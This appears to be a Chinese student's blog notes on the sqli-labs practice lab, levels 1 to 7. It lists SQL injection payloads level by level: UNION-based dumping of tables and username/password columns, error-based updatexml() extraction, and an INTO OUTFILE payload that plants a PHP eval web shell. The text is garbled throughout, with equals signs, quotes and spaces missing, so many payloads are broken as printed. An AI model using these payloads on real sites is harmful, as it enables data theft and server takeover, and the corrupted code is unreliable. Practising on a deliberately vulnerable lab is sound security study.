sql-labs什么是sql-labsLess-1,2判断是否存在注入判断字段数union select判断显错位回显库名和登录用户名判断表名判断列名判断数据快法要注意的是此处的id值必须是0以下的数字否则不能成功表名列名数据名010203Less-3Less-4Less-5Less-6Less-7什么是sql-labsSQL 注入SQL Injection 是发生在 Web 程序中数据库层的安全漏洞是网站存在最多也是最简单的漏洞。 主要原因是程序对用户输入数据的合法性没有判断和处理导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句在管理员不知情的情况下实现非法操作以此来实现欺骗数据库服务器执行非授权的任意查询从而进一步获取到数据信息推荐一个视频【转载】SQL注入、SSTIDocker逃逸 HTB CTF -GoodGame-哔哩哔哩Less-1,2这两个知识点都没差…网上查询得Pass-01基于单引号的SQL注入Pass-02基于整数的注入判断是否存在注入用get传值id1随后能看到网页出现变化用get传值id2用get传值id15之后界面异常。有没有可能把?id1,这个传参给它拼接到SQL语句中并且被当做SQL代码进行执行尝试?id1 and 12…无变化。Pass-02的知识从这开始尝试闭合?id1’and 11-- za后跟的字母随便…注意空格格式否则会报错如图?id1’and 12-- zaa页面异常可能存在SQL注入判断字段数使用 order by 查询所有字段从1开始直到4发现3正常但是4的页面异常存在三个字段union select判断显错位回显输入?id1’union select 1,2,3-- zaa显示了前面的结果1,2,3:仅仅相当于占了三个位置先前order by 查询为3所以用什么表示均可。从而试着将id1,改为id15(因为页面没结果)注意有文章说已知这里面只有三列找每一列的位置使用 ?id0’ union select 1,2,3 -- 要注意的是此处的id值必须是0以下的数字否则不能成功库名和登录用户名将2的位置换为database()显示当前页面数据库库名security。查询当前数据库的库名和当前的登录用户名使用 ?id0’ union select 1,database(),user() – zaauser()顶替3的位置为当前的登录用户名。判断表名?id15’union select 1,table_name,3 from information_schema.tables where table_schema‘security’-- zaatable_name代表表名information_schema藏有自带的数据库table_schema字面指库名第二位则第一位可用limit 0,1表示?id15’union select 1,table_name,3 from information_schema.tables where table_schema‘security’limit 1,1– zaa第三位limit 1,1中的前面的1改为2即…?id15’union select 1,table_name,3 from information_schema.tables where table_schema‘security’ limit 2,1-- zaa等…判断列名?id15’union select 1,column_name,3 from information_schema.columns where table_schema‘security’ and table_name‘emails’-- zaaemails可根据表进行替换例?id15’union select 1,column_name,3 from information_schema.columns where table_schema‘security’ and table_name‘referers’-- zaa判断数据?id15’union select 1,id,3 from emails-- zaa与上同emails可根据表进行替换快法要注意的是此处的id值必须是0以下的数字否则不能成功将2的位置换为database()显库名security。参考文章…表名数据库库名后再爆破数据库使用 ?id0’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema‘security’),3 --表名一步到位…列名?id0’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema‘security’ and table_name‘emails’),3 --emails可根据表进行替换数据名格式?id0’ union select 1,(select group_concat(concat_ws(0x7e,表名对应的列名,表名对应的列名)) from 表名),3 --0x7e应该是个站位的…其位置也可为表名对应的列名观察020301?id0’ union select 1,(select group_concat(concat_ws(0x7e,id,email_id)) from emails),3 -- 进行爆破得到以下内容。02?id0’ union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3 -- 进行爆破得到以下内容。03?id0’ union select 1,(select group_concat(concat_ws(id,username,password)) from users),3 -- 进行爆破得到以下内容Less-3查看源码…发现被框了。不会被当做代码从而使代码失效。从而’后加一个)判断是否存在注入?id1’)and 11-- za判断字段数?id1’)order by 1-- zaunion select判断显错位?id1’)union select 1,2,3-- zaa判断表名?id15’)union select 1,table_name,3 from information_schema.tables where table_schema‘security’-- zaa判断列名?id15’)union select 1,column_name,3 from information_schema.columns where table_schema‘security’ and table_name‘emails’-- zaa判断数据名?id15’)union select 1,id,3 from emails-- zaaLess-4由图与03相比单引变成了双引号…判断是否存在注入?id1)and 11-- za判断字段数?id1)order by 1-- zaunion select判断显错位?id1)union select 1,2,3-- zaa判断表名?id15)union select 1,table_name,3 from information_schema.tables where table_schema‘security’-- zaa判断列名?id15)union select 1,column_name,3 from information_schema.columns where table_schema‘security’ and table_name‘emails’-- zaa判断数据名?id15)union select 1,id,3 from emails-- zaaSqli-labs什么是sql-labsLess-1,2判断是否存在注入判断字段数union select判断显错位回显库名和登录用户名判断表名判断列名判断数据快法要注意的是此处的id值必须是0以下的数字否则不能成功表名列名数据名010203Less-3Less-4Less-5Less-6Less-7Less-5先传个参此处是一个单引号闭合输入的东西都会在单引号里面。查看源码…下面牵扯到一个新的updexml(目标xml内容xml文档路径更新内容)语法updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)实际上这里是去更新了XML文档但是我们在XML文档路径的位置写入子查询我们输入特殊符号然后就因为不符合输入规则就报错了。报错的时候他就已经执行了那个子代码查询。0x7e实际是十六进制Myaql支持16进制但开头的得写0x,0x7e是一个特殊符号然后不符合路径规则这个函数一般是配合and或者是or使用的他和联合查询不同。select*fromnewswhereid1andupdatexml(1,concat(0x7e,(selectdatabase()),0x7e),1)如果and前面的条件不成立就不会执行后面的语句。 报错一般有长度的限制不能输出太长的数据尽量不要使用group_concat()判断是否存在注入? id1 and 11 -- zaa 判断库名? id1andupdatexml(1,concat(0x7e,(selectdatabase()),0x7e),1)-- zaa判断表名? id1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemasecurity limit 0,1),0x7e),1) -- zaa 判断列名? id1andupdatexml(1,concat(0x7e,(selectcolumn_namefrominformation_schema.columnswheretable_schemasecurityandtable_nameemailslimit0,1),0x7e),1)-- zaa判断数据? id1andupdatexml(1,concat(0x7e,(selectidfromemailslimit0,1),0x7e),1)-- zaa如图所示 %20表示为空格%27表示为’Less-6与第五关相比闭合方式不同。判断是否存在注入? id1 and 11 -- zaa 判断库名? id1andupdatexml(1,concat(0x7e,(selectdatabase()),0x7e),1)-- zaa判断表名? id1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemasecurity limit 0,1),0x7e),1) -- zaa 判断列名? id1andupdatexml(1,concat(0x7e,(selectcolumn_namefrominformation_schema.columnswheretable_schemasecurityandtable_nameemailslimit0,1),0x7e),1)-- zaa判断数据? id1andupdatexml(1,concat(0x7e,(selectidfromemailslimit0,1),0x7e),1)-- zaaLess-7判断字段数? id1))orderby3-- zaa写码?id1))unionselect1,?php eval($_REQUEST[1]?),3intooutfileD:/phpstudy_pro/WWW/sqli-labs-master/Less-7/shell.php-- zaa可能是没有配置。嗯…学习视频中点不太会这几天课太满可能要在换个思路先放着本文内容仅为个人经验分享仅供参考不构成专业建议。本人不对内容准确性做保证读者据此操作产生的风险自行承担。文中第三方素材版权归原作者如有侵权请联系删除。